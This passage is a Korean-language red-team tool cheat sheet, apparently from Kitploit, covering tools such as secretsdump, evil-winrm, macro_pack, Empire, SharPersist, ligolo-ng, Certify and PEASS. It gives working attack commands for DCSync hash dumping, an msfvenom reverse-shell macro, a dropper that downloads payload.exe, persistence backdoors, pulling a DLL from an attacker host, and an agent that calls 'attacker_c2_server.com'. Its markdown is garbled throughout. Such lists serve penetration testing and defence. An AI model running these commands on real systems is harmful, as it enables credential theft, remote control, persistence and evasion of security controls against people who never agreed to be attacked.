### [🔙](#tool-list)[secretsdump](https://github.com/fortra/impacket/blob/master/examples/secretsdump.py)

Impacket 라이브러리의 일부인 유틸리티로, Windows 시스템에서 암호 해시 및 기타 비밀 정보를 추출하는 데 사용할 수 있습니다.

이는 시스템의 SAM(Security Account Manager) 데이터베이스와 상호작용하여 해시된 암호 및 기타 정보를 추출함으로써 수행됩니다. 예를 들어:

- 로컬 계정의 암호 해시
- Kerberos 티켓 및 키
- LSA 비밀 정보

**설치:**```bash
python3 -m pip install impacket

사용법:```bash

Extract NTLM hashes with local files

secretsdump.py -ntds /root/ntds_cracking/ntds.dit -system /root/ntds_cracking/systemhive LOCAL

DCSync attack and dump the NTLM hashes of all domain users.

secretsdump.py -dc-ip 10.10.10.30 MEGACORP.LOCAL/svc_bes:[email protected]

root@kitploit:~
![image](https://assets.kitploit.com/production/public/readmes/495/e9e242c346297388c540da63c467f568ea0b33980e52d48bd8154d745147f192.png)

_이미지 출처: https://riccardoancarani.github.io/2020-05-10-hunting-for-impacket/#secretsdumppy_

### [🔙](#tool-list)[evil-winrm](https://github.com/Hackplayers/evil-winrm)

Evil-WinRM은 Windows Remote Management(WinRM: _관리자가 Windows 머신에서 명령을 원격으로 실행할 수 있게 해주는 서비스_)를 위한 명령줄 인터페이스를 제공하는 도구입니다.

Evil-WinRM은 공격자가 WinRM을 사용하여 Windows 머신에 원격으로 연결하고 임의의 명령을 실행할 수 있게 해줍니다.

일부 기능은 다음과 같습니다:

- 메모리에 Powershell 스크립트 로드
- 일부 AV를 우회하는 메모리 내 dll 파일 로드
- x64 페이로드 로드
- Pass-the-hash 지원
- 로컬 및 원격 파일 업로드/다운로드

**설치: (Git)**```bash
sudo gem install winrm winrm-fs stringio logger fileutils
git clone https://github.com/Hackplayers/evil-winrm.git
cd evil-winrm

설치: (Ruby gem)```bash gem install evil-winrm

root@kitploit:~
대체 설치 방법은 [여기](https://github.com/Hackplayers/evil-winrm#installation--quick-start-4-methods)에서 확인할 수 있습니다.

**사용법:**```bash
# Connect to 192.168.1.100 as Administrator with custom exe/ps1 download folder locations
evil-winrm  -i 192.168.1.100 -u Administrator -p 'MySuperSecr3tPass123!' -s '/home/foo/ps1_scripts/' -e '/home/foo/exe_files/'

# Upload local files to victim
upload local_filename
upload local_filename destination_filename

# Download remote files to local machine
download remote_filename
download remote_filename destination_filename

# Execute .Net assembly into victim memory
Invoke-Binary /opt/csharp/Rubeus.exe

# Load DLL library into victim memory
Dll-Loader -http http://10.10.10.10/SharpSploit.dll

전체 사용법 문서는 여기에서 찾을 수 있습니다.

image

이미지 출처: https://korbinian-spielvogel.de/posts/heist-writeup/

🔙Donut

VBScript, JScript, EXE, DLL 파일 및 dotNET 어셈블리를 메모리에서 실행하기 위한 도구입니다. 디스크에 파일을 떨어뜨리지 않고 대상 시스템에서 사용자 정의 페이로드를 로드하고 실행하는 데 사용할 수 있습니다.

설치: (Windows)```bash git clone http://github.com/thewover/donut.git

root@kitploit:~
로더 템플릿, 동적 라이브러리 donut.dll, 정적 라이브러리 donut.lib 및 생성기 donut.exe를 생성하려면 x64 Microsoft Visual Studio 개발자 명령 프롬프트를 시작하고, Donut 리포지토리를 클론한 디렉터리로 이동한 후 다음을 입력하십시오:```bash
nmake -f Makefile.msvc

동일한 작업을 수행하려면, Windows 또는 Linux에서 MinGW-64를 사용하는 경우를 제외하고, Donut 저장소를 클론한 디렉토리로 변경한 후 다음을 입력하십시오:```bash make -f Makefile.mingw

root@kitploit:~
**설치: (Linux)**```bash
pip3 install donut-shellcode

사용법:```bash

Creating shellcode from an XSL file that pops up a calculator.

shellcode = donut.create(file=r"C:\Tools\Source\Repos\donut\calc.xsl")

Creating shellcode from an unmanaged DLL. Invokes DLLMain.

shellcode = donut.create(file=r"C:\Tools\Source\Repos\donut\payload\test\hello.dll")

root@kitploit:~
전체 사용 정보는 donut [GitHub 페이지](https://github.com/TheWover/donut/#4-usage)를 참조하세요.

자세한 내용은 The Wover의 [최근 블로그 게시물](https://thewover.github.io/Bear-Claw/)을 참조하세요.

![image](https://assets.kitploit.com/production/public/readmes/495/f1dba24c73e1bc864c83173904c6592faee2f8aa854da293767b90d69449d5c4.png)

### [🔙](#tool-list)[Macro_pack](https://github.com/sevagas/macro_pack)

레드 팀 운영을 위해 Office 문서, VB 스크립트, 바로가기 및 기타 형식의 난독화 및 생성을 자동화하는 도구입니다.

**설치: (바이너리)**

1. 최신 바이너리를 [https://github.com/sevagas/macro_pack/releases/](https://github.com/sevagas/macro_pack/releases/)에서 다운로드하세요.
2. 정품 Microsoft Office가 설치된 PC에 바이너리를 다운로드하세요.
3. 콘솔을 열고 바이너리 디렉토리로 이동한 후 바이너리를 실행하세요.

**설치: (Git)**```bash
git clone https://github.com/sevagas/macro_pack.git
cd macro_pack
pip3 install -r requirements.txt

사용법:```bash

Help Page

python3 macro_pack.py --help

List all supported file formats

macro_pack.exe --listformats

Obfuscate the vba file generated by msfvenom and puts result in a new VBA file.

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.5 -f vba | macro_pack.exe -o -G meterobf.vba

Obfuscate Empire stager VBA file and generate a MS Word document:

macro_pack.exe -f empire.vba -o -G myDoc.docm

Generate an MS Excel file containing an obfuscated dropper (download payload.exe and store as dropped.exe)

echo "https://myurl.url/payload.exe" "dropped.exe" | macro_pack.exe -o -t DROPPER -G "drop.xlsm"

Execute calc.exe via Dynamic Data Exchange (DDE) attack

echo calc.exe | macro_pack.exe --dde -G calc.xslx

root@kitploit:~
![image](https://assets.kitploit.com/production/public/readmes/495/05a46a14fba117c71b6b79cec0cccbc403531a302add46b9e55035e7d9d634ef.png)

### [🔙](#tool-list)[PowerSploit](https://github.com/PowerShellMafia/PowerSploit)

레드팀 작업 목표를 달성하기 위해 사용할 수 있는 PowerShell 스크립트 및 모듈 모음입니다.

PowerSploit의 주요 기능:

- 비밀번호 해시 덤프 및 메모리에서 일반 텍스트 비밀번호 추출
- 권한 상승 및 보안 제어 우회
- 임의의 PowerShell 코드 실행 및 실행 제한 우회
- 네트워크 정찰 및 검색 수행
- 페이로드 생성 및 익스플로잇 실행

**설치:** _1. PowerShell 모듈 폴더에 저장_

먼저 [PowerSploit 폴더](https://github.com/PowerShellMafia/PowerSploit)를 다운로드하여 PowerShell 모듈 폴더에 저장해야 합니다.

PowerShell 모듈 폴더 경로는 다음 명령으로 확인할 수 있습니다:

```powershell
$env:PSModulePath

$Env:PSModulePath

root@kitploit:~
**설치:** _2. PowerSploit을 PowerShell 모듈로 설치하십시오_

그러면 PowerSploit 모듈을 설치해야 합니다 (다운로드한 폴더의 이름을 사용하십시오).

**참고:** _PowerShell 실행 정책이 차단할 수 있습니다. 이를 해결하려면 다음 명령을 실행하십시오._```
powershell.exe -ep bypass

이제 PowerSploit 모듈을 설치할 수 있습니다.``` Import-Module PowerSploit

root@kitploit:~
**사용법:**```
Get-Command -Module PowerSploit

image

🔙Rubeus

Microsoft Active Directory(AD) 환경과 관련된 다양한 작업(예: 비밀번호 해시 덤프, 사용자 생성/삭제, 사용자 속성 수정)을 수행하는 데 사용할 수 있는 도구입니다.

Rubeus의 일부 기능:

  • Kerberoasting
  • 골든 티켓 공격
  • 실버 티켓 공격

설치: (다운로드)

비공식 사전 컴파일된 Rubeus 바이너리를 여기에서 설치할 수 있습니다.

설치: (컴파일)

Rubeus는 Visual Studio 2019 Community Edition과 호환됩니다. rubeus 프로젝트 .sln을 열고 "Release"를 선택한 후 빌드하세요.

사용법:``` Rubeus.exe -h

root@kitploit:~
![image](https://assets.kitploit.com/production/public/readmes/495/047e7197182d4efa41181499d4b96b356eeb9dc7a0557d5700f5ad3a152d4f13.png)

### [🔙](#tool-list)[SharpUp](https://github.com/GhostPack/SharpUp)

피해자 엔드포인트에서 높은 권한의 프로세스, 그룹, 하이재킹 가능한 경로 등과 관련된 취약점을 확인하는 유용한 도구입니다.

**설치: (다운로드)**

비공식 사전 컴파일된 SharpUp 바이너리를 [여기](https://github.com/r3motecontrol/Ghostpack-CompiledBinaries/blob/master/SharpUp.exe)에서 설치할 수 있습니다.

**설치: (컴파일)**

SharpUp은 [Visual Studio 2015 Community Edition](https://go.microsoft.com/fwlink/?LinkId=532606&clcid=0x409)과 호환됩니다. SharpUp [프로젝트 .sln](https://github.com/GhostPack/SharpUp)을 열고 "Release"를 선택한 후 빌드하세요.

**사용법:**```bash
SharpUp.exe audit
#-> Runs all vulnerability checks regardless of integrity level or group membership.

SharpUp.exe HijackablePaths
#-> Check only if there are modifiable paths in the user's %PATH% variable.

SharpUp.exe audit HijackablePaths
#-> Check only for modifiable paths in the user's %PATH% regardless of integrity level or group membership.

image

🔙SQLRecon

MS-SQL (Microsoft SQL Server)은 Microsoft에서 개발 및 판매하는 관계형 데이터베이스 관리 시스템입니다.

이 C# MS-SQL 도구 키트는 공격적 정찰 및 사후 익스플로잇을 위해 설계되었습니다. 각 기술에 대한 자세한 사용 정보는 위키를 참조하십시오.

설치: (바이너리)

최신 바이너리 릴리스는 여기에서 다운로드할 수 있습니다.

사용법:```bash

Authenticating using Windows credentials

SQLRecon.exe -a Windows -s SQL01 -d master -m whoami

Authenticating using Local credentials

SQLRecon.exe -a Local -s SQL02 -d master -u sa -p Password123 -m whoami

Authenticating using Azure AD credentials

SQLRecon.exe -a azure -s azure.domain.com -d master -r domain.com -u skawa -p Password123 -m whoami

Run whoami

SQLRecon.exe -a Windows -s SQL01 -d master -m whoami

View databases

SQLRecon.exe -a Windows -s SQL01 -d master -m databases

View tables

SQLRecon.exe -a Windows -s SQL01 -d master -m tables -o AdventureWorksLT2019

root@kitploit:~
Full usage information can be found on the [wiki](https://github.com/skahwah/SQLRecon/wiki).

Tool module usage information can be found [here](https://github.com/skahwah/SQLRecon#usage).

![image](https://assets.kitploit.com/production/public/readmes/495/3793a8399d860b9b07f318a81e7258c64c5d8f89dc4a6d0ae2c6998e4c137ead.png)

_SQLRecon 도움말 페이지에서 가져온 이미지_

### [🔙](#tool-list)[UltimateAppLockerByPassList](https://github.com/api0cradle/UltimateAppLockerByPassList)

이 리소스는 AppLocker를 우회하는 가장 일반적이고 알려진 기술들의 모음입니다.

AppLocker는 다양한 방식으로 구성될 수 있으므로 [@api0cradle](https://github.com/api0cradle)은 기본 AppLocker 규칙에 대해 작동하는 확인된 우회 목록과 구성에 따른 가능한 우회 기술 또는 누군가에 의해 우회라고 주장된 목록을 유지 관리합니다.

또한 일반적인 우회 기술 목록과 DLL을 통해 실행하는 방법의 레거시 목록도 있습니다.

색인된 목록

- [Generic-AppLockerbypasses.md](https://github.com/api0cradle/UltimateAppLockerByPassList/blob/master/Generic-AppLockerbypasses.md)
- [VerifiedAppLockerBypasses.md](https://github.com/api0cradle/UltimateAppLockerByPassList/blob/master/VerifiedAppLockerBypasses.md)
- [UnverifiedAppLockerBypasses.md](https://github.com/api0cradle/UltimateAppLockerByPassList/blob/master/UnverifiedAppLockerBypasses.md)
- [DLL-Execution.md](https://github.com/api0cradle/UltimateAppLockerByPassList/blob/master/DLL-Execution.md)

![image](https://assets.kitploit.com/production/public/readmes/495/0f5574d72ab541f05bec2c7b8132740d8de24bb99d6222c3a481b7f7b7188afd.png)

_이미지는 https://github.com/api0cradle/UltimateAppLockerByPassList 에서 가져옴_

### [🔙](#tool-list)[StarFighters](https://github.com/Cn33liz/StarFighters)

자체 내장 PowerShell 호스트 내에서 실행되는 JavaScript 및 VBScript 기반 Empire 런처입니다.

두 런처 모두 자체 내장 PowerShell 호스트 내에서 실행되므로 PowerShell.exe가 필요하지 않습니다.

이는 회사에서 PowerShell.exe를 차단하거나 응용 프로그램 허용 목록 솔루션을 사용하지만 JS/VBS 파일 실행을 차단하지 않는 경우 유용할 수 있습니다.

**사용법:**

- PowerShell Empire 내에서 새 리스너 설정
- Launcher 명령을 사용하여 이 리스너에 대한 PowerShell 런처 생성
- StarFighter JavaScript 또는 VBScript 파일 내에서 Base64로 인코딩된 런처 페이로드를 복사하여 교체

JavaScript 버전의 경우 다음 변수를 사용하십시오:```javascript
var EncodedPayload = "<Paste Encoded Launcher Payload Here>";

VBScript 버전의 경우 다음 변수를 사용하세요:```vbscript Dim EncodedPayload: EncodedPayload = ""

root@kitploit:~
- 그런 다음 대상에서 wscript.exe StarFighter.js 또는 StarFighter.vbs를 실행하거나 탐색기에서 실행기를 더블클릭합니다.

![image](https://assets.kitploit.com/production/public/readmes/495/bfacec31496eb92330bdca9b7b7b5e0af79bad107efeaf8ee3119dae39ea5b2d.png)

_이미지 출처: https://www.hackplayers.com/2017/06/startfighters-un-launcher-de-empire-en-js-vbs.html_

### [🔙](#tool-list)[demiguise](https://github.com/nccgroup/demiguise)

이 프로젝트의 목표는 암호화된 HTA 파일을 포함하는 .html 파일을 생성하는 것입니다.

아이디어는 대상자가 페이지를 방문하면 키를 가져와 브라우저 내에서 동적으로 HTA를 해독하여 사용자에게 직접 푸시한다는 것입니다.

이는 일부 보안 장비가 구현하는 콘텐츠/파일 유형 검사를 우회하는 회피 기술입니다.

추가 기술 정보는 [여기](https://github.com/nccgroup/demiguise#how-does-it-do-it)를 참조하세요.

**설치:**```
git clone https://github.com/nccgroup/demiguise
cd demiguise

사용법:```bash

Generate an encrypted .hta file that executes notepad.exe

python demiguise.py -k hello -c "notepad.exe" -p Outlook.Application -o test.hta

root@kitploit:~
![image](https://assets.kitploit.com/production/public/readmes/495/dec66a9e4a83cc47b4797e4ed1e29335028373b9f1a49dc4945985ba3ea045db.png)

_이미지 출처: https://github.com/nccgroup/demiguise_

# 지속성

### [🔙](#tool-list)[Impacket](https://github.com/fortra/impacket)

Impacket은 SMB, Kerberos, LDAP을 포함한 다양한 네트워크 프로토콜을 위한 저수준 Python 바인딩과, 네트워크 서비스와 상호작용하고 비밀번호 해시 덤프 및 네트워크 공유 생성과 같은 특정 작업을 수행하기 위한 고수준 라이브러리 세트를 제공합니다.

또한 SAM 데이터베이스 덤프, 도메인 트러스트 열거, Windows 비밀번호 크래킹과 같은 다양한 작업을 수행할 수 있는 여러 명령줄 도구를 포함하고 있습니다.

**설치:**```bash
python3 -m pip install impacket

설치: (예제 스크립트 포함)

패키지를 다운로드하고 압축을 푼 다음, 설치 폴더로 이동하여 실행하세요...```bash python3 -m pip install .

root@kitploit:~
**사용법:**```bash
# Extract NTLM hashes with local files
secretsdump.py -ntds /root/ntds_cracking/ntds.dit -system /root/ntds_cracking/systemhive LOCAL

# Gets a list of the sessions opened at the remote hosts
netview.py domain/user:password -target 192.168.10.2

# Retrieves the MSSQL instances names from the target host.
mssqlinstance.py 192.168.1.2

# This script will gather data about the domain's users and their corresponding email addresses.
GetADUsers.py domain/user:password@IP

Impacket 사용을 위한 훌륭한 치트 시트입니다.

image

🔙Empire

Empire는 피해자 시스템과의 원격 연결을 설정하기 위한 페이로드를 생성할 수 있는 사후 침투 프레임워크입니다.

페이로드가 피해자 시스템에서 실행되면 Empire 서버로 다시 연결되어 명령을 내리고 대상 시스템을 제어하는 데 사용할 수 있습니다.

Empire는 또한 비밀번호 해시 덤프, Windows 레지스트리 액세스, 데이터 유출과 같은 특정 작업을 수행하는 데 사용할 수 있는 여러 내장 모듈과 스크립트를 포함합니다.

설치:```bash git clone https://github.com/EmpireProject/Empire cd Empire sudo ./setup/install.sh

root@kitploit:~
**사용법:**```bash
# Start Empire
./empire

# List live agents
list agents

# List live listeners
list listeners

Nice usage cheat sheet by HarmJoy.

image

🔙SharPersist

C#으로 작성된 Windows 지속성 툴킷입니다.

이 프로젝트에는 위키가 있습니다.

설치: (바이너리)

가장 최신 릴리스를 여기에서 찾을 수 있습니다.

설치: (컴파일)

  • GitHub 저장소에서 프로젝트 파일을 다운로드합니다.
  • Visual Studio 프로젝트를 열고 "도구" --> "NuGet 패키지 관리자" --> "패키지 관리자 설정"으로 이동합니다.
  • "NuGet 패키지 관리자" --> "패키지 소스"로 이동합니다.
  • URL "https://api.nuget.org/v3/index.json"을 사용하여 패키지 소스를 추가합니다.
  • Costura.Fody NuGet 패키지를 설치합니다. Visual Studio 2019가 필요 없도록 이전 버전의 Costura.Fody (3.3.3)가 필요합니다.
    • Install-Package Costura.Fody -Version 3.3.3
  • TaskScheduler 패키지를 설치합니다.
    • Install-Package TaskScheduler -Version 2.8.11
  • 이제 프로젝트를 직접 빌드할 수 있습니다!

사용 방법:

전체 사용 예제 목록은 여기에서 확인할 수 있습니다.``` #KeePass SharPersist -t keepass -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -f "C:\Users\username\AppData\Roaming\KeePass\KeePass.config.xml" -m add

#Registry SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "hkcurun" -v "Test Stuff" -m add

#Scheduled Task Backdoor SharPersist -t schtaskbackdoor -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Something Cool" -m add

#Startup Folder SharPersist -t startupfolder -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -f "Some File" -m add

root@kitploit:~
![image](https://assets.kitploit.com/production/public/readmes/495/047687d7df9f5866f3285b1a3d3a64a2a651fd8d87eecb52c1d94f36d82f875f.png)

### [🔙](#tool-list)[ligolo-ng](https://github.com/nicocha30/ligolo-ng)

Ligolo-ng는 간단하고 가볍고 빠른 도구로, 침투 테스터가 tun 인터페이스를 사용하여 역방향 TCP/TLS 연결로 터널을 설정할 수 있게 해줍니다 (SOCKS가 필요 없습니다).

SOCKS 프록시나 TCP/UDP 포워더를 사용하는 대신, Ligolo-ng는 [Gvisor](https://gvisor.dev/)를 사용하여 사용자 공간 네트워크 스택을 생성합니다.

릴레이/프록시 서버를 실행할 때 tun 인터페이스가 사용되며, 이 인터페이스로 전송된 패킷은 변환된 후 에이전트 원격 네트워크로 전송됩니다.

**설치: (다운로드)**

미리 컴파일된 바이너리(Windows/Linux/macOS)는 [릴리스 페이지](https://github.com/nicocha30/ligolo-ng/releases)에서 확인할 수 있습니다.

**설치: (빌드)**

_ligolo-ng 빌드 (Go >= 1.17 필요):_```bash
go build -o agent cmd/agent/main.go
go build -o proxy cmd/proxy/main.go

# Build for Windows
GOOS=windows go build -o agent.exe cmd/agent/main.go
GOOS=windows go build -o proxy.exe cmd/proxy/main.go

설치: (Linux)```bash sudo ip tuntap add user [your_username] mode tun ligolo sudo ip link set ligolo up

root@kitploit:~
**설정: (Windows)**

[Wintun](https://www.wintun.net/) 드라이버([WireGuard](https://www.wireguard.com/)에서 사용)를 다운로드하고, `wintun.dll`을 Ligolo와 같은 폴더에 배치해야 합니다(올바른 아키텍처를 사용해야 합니다).

**설정: (프록시 서버)**```bash
./proxy -h # Help options
./proxy -autocert # Automatically request LetsEncrypt certificates

사용법:

대상(피해자) 컴퓨터에서 에이전트를 시작하세요(권한이 필요하지 않습니다!):```bash ./agent -connect attacker_c2_server.com:11601

root@kitploit:~
프록시 서버에 세션이 나타나야 합니다.```
INFO[0102] Agent joined. name=nchatelain@nworkstation remote="XX.XX.XX.XX:38000"

session 명령어를 사용하여 agent를 선택하세요.``` ligolo-ng » session ? Specify a session : 1 - nchatelain@nworkstation - XX.XX.XX.XX:38000

root@kitploit:~
전체 사용 정보는 [여기](https://github.com/nicocha30/ligolo-ng#using-ligolo-ng)에서 확인할 수 있습니다.

![image](https://assets.kitploit.com/production/public/readmes/495/943c5bd63d4dfa79491447585057b34e0c02e13d027fcd5f95ec6fe30f455d67.png)

_이미지는 https://github.com/nicocha30/ligolo-ng#demo에서 사용되었습니다._

# 권한 상승

### [🔙](#tool-list)[LinPEAS](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS)

LinPEAS는 Linux 엔드포인트에서 로컬 권한 상승 경로를 찾기 위한 상세한 권한 상승 도구입니다.

**설치 및 사용:**```bash
curl -L "https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh" | sh

image

🔙WinPEAS

WinPEAS는 Windows 엔드포인트에서 로컬 권한 상승 경로를 찾기 위한 상세하고 유용한 권한 상승 도구입니다.

설치 + 사용법:```bash $wp=[System.Reflection.Assembly]::Load([byte[]](Invoke-WebRequest "https://github.com/carlospolop/PEASS-ng/releases/latest/download/winPEASany_ofs.exe" -UseBasicParsing | Select-Object -ExpandProperty Content)); [winPEAS.Program]::Main("")

root@kitploit:~
![image](https://assets.kitploit.com/production/public/readmes/495/3f7ed6326b537a3f03a27356e3b8880abce36919886de894b8c0091593e3483e.png)

### [🔙](#tool-list)[linux-smart-enumeration](https://github.com/diego-treitos/linux-smart-enumeration)

Linux smart enumeration은 또 다른 유용하고 덜 장황한 Linux 권한 상승 도구입니다.

**설치 + 사용법:**```bash
curl "https://github.com/diego-treitos/linux-smart-enumeration/releases/latest/download/lse.sh" -Lo lse.sh;chmod 700 lse.sh

image

🔙Certify

Certify는 Active Directory Certificate Services(AD CS)의 잘못된 구성을 열거하고 악용하기 위한 C# 도구입니다.

Certify는 Mimikatz 및 PowerShell과 같은 다른 레드팀 도구 및 기술과 함께 사용하도록 설계되어, 레드팀원이 중간자 공격, 가장 공격, 권한 상승 공격 등 다양한 유형의 공격을 수행할 수 있도록 지원합니다.

Certify의 주요 기능:

  • 인증서 생성
  • 인증서 서명
  • 인증서 가져오기
  • 인증서 신뢰 수정

설치: (컴파일)

Certify는 Visual Studio 2019 Community Edition과 호환됩니다. Certify 프로젝트 .sln 파일을 열고 "Release"를 선택한 후 빌드하세요.

설치: (PowerShell을 통해 Certify 실행)

PowerShell 래퍼를 통해 Certify를 메모리 내에서 실행하려면, 먼저 Certify를 컴파일하고 결과 어셈블리를 base64로 인코딩하세요:```bash [Convert]::ToBase64String([IO.File]::ReadAllBytes("C:\Temp\Certify.exe")) | Out-File -Encoding ASCII C:\Temp\Certify.txt

root@kitploit:~
Certify는 PowerShell 스크립트에서 다음과 같이 로드할 수 있습니다 ("aa..."는 base64-encoded Certify assembly string으로 대체됩니다):```
$CertifyAssembly = [System.Reflection.Assembly]::Load([Convert]::FromBase64String("aa..."))

Main() 메서드와 모든 인수는 다음과 같이 호출할 수 있습니다.``` [Certify.Program]::Main("find /vulnerable".Split())

root@kitploit:~
전체 컴파일 지침은 [여기](https://github.com/GhostPack/Certify#compile-instructions)에서 확인할 수 있습니다.

**사용법:**```bash
# See if there are any vulnerable templates
Certify.exe find /vulnerable

# Request a new certificate for a template/CA, specifying a DA localadmin as the alternate principal
Certify.exe request /ca:dc.theshire.local\theshire-DC-CA /template:VulnTemplate /altname:localadmin

전체 예제 워크스루는 여기에서 찾을 수 있습니다.

이미지

🔙Get-GPPPassword

Get-GPPPassword는 PowerSploit 툴킷의 일부인 PowerShell 스크립트로, 그룹 정책 기본 설정(GPP)을 사용하여 생성 및 관리되는 로컬 계정의 비밀번호를 검색하도록 설계되었습니다.

Get-GPPPassword는 도메인 컨트롤러의 SYSVOL 폴더에서 비밀번호 정보가 포함된 GPP 파일을 검색하여 작동합니다. 이러한 파일을 찾으면 비밀번호 정보를 해독하여 사용자에게 표시합니다.

설치:

이 도구 시트의 PowerSploit 설치 지침을 따르세요.```bash powershell.exe -ep bypass Import-Module PowerSploit

root@kitploit:~
**사용법:**```bash
# Get all passwords with additional information
Get-GPPPassword

# Get list of all passwords
Get-GPPPassword | ForEach-Object {$_.passwords} | Sort-Object -Uniq

image

🔙Sherlock

로컬 권한 상승 취약점에 필요한 소프트웨어 패치를 빠르게 찾기 위한 PowerShell 스크립트입니다.

지원 대상:

  • MS10-015 : 사용자 모드에서 링 (KiTrap0D)
  • MS10-092 : 작업 스케줄러
  • MS13-053 : NTUserMessageCall Win32k 커널 풀 오버플로
  • MS13-081 : TrackPopupMenuEx Win32k NULL 페이지
  • MS14-058 : TrackPopupMenu Win32k 널 포인터 역참조
  • MS15-051 : ClientCopyImage Win32k
  • MS15-078 : 글꼴 드라이버 버퍼 오버플로
  • MS16-016 : 'mrxdav.sys' WebDAV
  • MS16-032 : 보조 로그온 핸들
  • MS16-034 : Windows 커널 모드 드라이버 EoP
  • MS16-135 : Win32k 권한 상승
  • CVE-2017-7199 : Nessus Agent 6.6.2 - 6.10.3 권한 상승

설치: (PowerShell)```bash

Git install

git clone https://github.com/rasta-mouse/Sherlock

Load powershell module

Import-Module -Name C:\INSTALL_LOCATION\Sherlock\Sherlock.ps1

root@kitploit:~
**사용법: (PowerShell)**```bash
# Run all functions
Find-AllVulns

# Run specific function (MS14-058 : TrackPopupMenu Win32k Null Pointer Dereference)
Find-MS14058

image

이미지 출처: https://vk9-sec.com/sherlock-find-missing-windows-patches-for-local-privilege-escalation/

🔙Watson

Watson은 누락된 KB를 열거하고 권한 상승 취약점에 대한 익스플로잇을 제안하도록 설계된 .NET 도구입니다.

시스템에서 더 높은 권한을 얻기 위해 알려진 취약점을 악용하는 데 사용할 수 있는 익스플로잇을 제안하고 누락된 패치를 식별하는 데 유용합니다.

설치:

Visual Studio 2019 Community Edition을 사용합니다. Watson 프로젝트 .sln을 열고 "Release"를 선택한 후 빌드합니다.

사용법:```bash

Run all checks

Watson.exe

root@kitploit:~
![image](https://assets.kitploit.com/production/public/readmes/495/d92ea362688f3fcfdb8aa5813f4df11bccc92e51f5a0c2dd35bd0f88760b3b32.png)

_이미지 텍스트 출처: https://github.com/rasta-mouse/Watson#usage_

### [🔙](#tool-list)[ImpulsiveDLLHijack](https://github.com/knight0x07/ImpulsiveDLLHijack)

C# 기반 도구로, 대상 바이너리에서 DLL 하이재킹을 발견하고 악용하는 과정을 자동화합니다.

발견된 하이재킹 경로는 실제 공격 중 EDR을 우회하기 위해 무기화될 수 있습니다.

**설치:**

- **Procmon.exe** -> https://docs.microsoft.com/en-us/sysinternals/downloads/procmon
- **사용자 정의 확인 DLL** :
  - 이 DLL 파일들은 식별된 하이재킹 경로에서 DLL이 성공적으로 로드되었는지 확인하는 데 도움을 줍니다.
  - 위에 제공된 MalDLL 프로젝트에서 컴파일했습니다(신뢰한다면 미리 컴파일된 바이너리를 사용하세요!).
  - 32비트 DLL 이름: maldll32.dll
  - 64비트 DLL 이름: maldll64.dll
  - NuGet 패키지 설치: **PeNet** -> https://www.nuget.org/packages/PeNet/ (ImpulsiveDLLHijack 프로젝트 컴파일 시 필요)

**참고: i 및 ii 전제 조건은 ImpulsiveDLLHijacks.exe의 디렉터리 자체에 배치해야 합니다.**

- **빌드 및 설정 정보:**

  - **ImpulsiveDLLHijack**

    - Visual Studio에서 리포지토리를 클론합니다.
    - Visual Studio에서 프로젝트가 로드되면 "프로젝트" --> "NuGet 패키지 관리"로 이동 --> 패키지 찾아보기에서 "PeNet" 설치 -> https://www.nuget.org/packages/PeNet/
    - 프로젝트를 빌드하세요!
    - ImpulsiveDLLHijack.exe는 bin 디렉터리 안에 있습니다.

  - **확인 DLL의 경우:**

    - Visual Studio에서 리포지토리를 클론합니다.
    - x86 및 x64로 프로젝트를 빌드합니다.
    - x86 릴리스를 maldll32.dll로, x64 릴리스를 maldll64.dll로 이름을 변경합니다.

  - **설정:** 확인 DLL(maldll32 및 maldll64)을 ImpulsiveDLLHijack.exe 디렉터리에 복사한 후 ImpulsiveDLLHijack.exe를 실행합니다 :))

_설치 지침 출처: https://github.com/knight0x07/ImpulsiveDLLHijack#2-prerequisites_

**사용법:**```bash
# Help
ImpulsiveDLLHijack.exe -h

# Look for vulnerabilities in an executable
ImpulsiveDLLHijack.exe -path BINARY_PATH

Usage examples can be found here.

image

Image used from https://github.com/knight0x07/ImpulsiveDLLHijack#4-examples

🔙ADFSDump

AD FS에서 다양한 유용한 정보를 덤프하는 C# 도구입니다.

Mandiant FireEye에서 근무하던 Doug Bienstock @doughsec이(가) 만들었습니다.

이 도구는 ADFSpoof와 함께 실행되도록 설계되었습니다. ADFSdump는 ADFSpoof를 사용하여 보안 토큰을 생성하는 데 필요한 모든 정보를 출력합니다.

요구 사항:

  • ADFSDump는 AD FS 서비스 계정의 사용자 컨텍스트에서 실행되어야 합니다. 이 정보는 AD FS 서버에서 프로세스 목록을 실행하거나 Get-ADFSProperties cmdlet의 출력에서 얻을 수 있습니다. 오직 AD FS 서비스 계정만이 구성 데이터베이스에 액세스하는 데 필요한 권한을 가지고 있습니다. DA조차도 이에 액세스할 수 없습니다.
  • ADFSDump는 서비스가 WID(Windows Internal Database)를 사용하도록 구성되어 있다고 가정합니다. 외부 SQL 서버를 지원하는 것은 간단하지만 현재 이 기능은 존재하지 않습니다.
  • ADFSDump는 AD FS 서버(AD FS 웹 애플리케이션 프록시가 아님)에서 로컬로 실행되어야 합니다. WID는 명명된 파이프를 통해서만 로컬로 액세스할 수 있습니다.

설치: (컴파일)

ADFSDump는 Visual Studio 2017 Community Edition에서 .NET 4.5를 대상으로 빌드되었습니다. 프로젝트 .sln 파일을 열고 'Release'를 선택한 후 빌드하기만 하면 됩니다.

사용법: (플래그)```bash

The Active Directory domain to target. Defaults to the current domain.

/domain:

The Domain Controller to target. Defaults to the current DC.

/server:

Switch. Toggle to disable outputting the DKM key.

/nokey

(optional) SQL connection string if ADFS is using remote MS SQL rather than WID.

/database

root@kitploit:~
[블로그 - ADFS에 대한 골든 SAML 공격 탐구](https://www.orangecyberdefense.com/global/blog/cloud/exploring-the-golden-saml-attack-against-adfs)

![이미지](https://assets.kitploit.com/production/public/readmes/495/2cca2f50d6930d32e82d565b933c8f357ef8ca10d896ed1ae48809be9b39dfa1.png)

_다음에서 사용된 이미지: https://www.orangecyberdefense.com/global/blog/cloud/exploring-the-golden-saml-attack-against-adfs_

# 방어 우회

### [🔙](#tool-list)[Invoke-Obfuscation](https://github.com/danielbohannon/Invoke-Obfuscation)

PowerShell v2.0+ 호환 PowerShell 명령 및 스크립트 난독화 도구입니다. 피해자 엔드포인트에서 PowerShell을 실행할 수 있다면, 이 도구는 매우 난독화된 스크립트를 만드는 데 좋습니다.

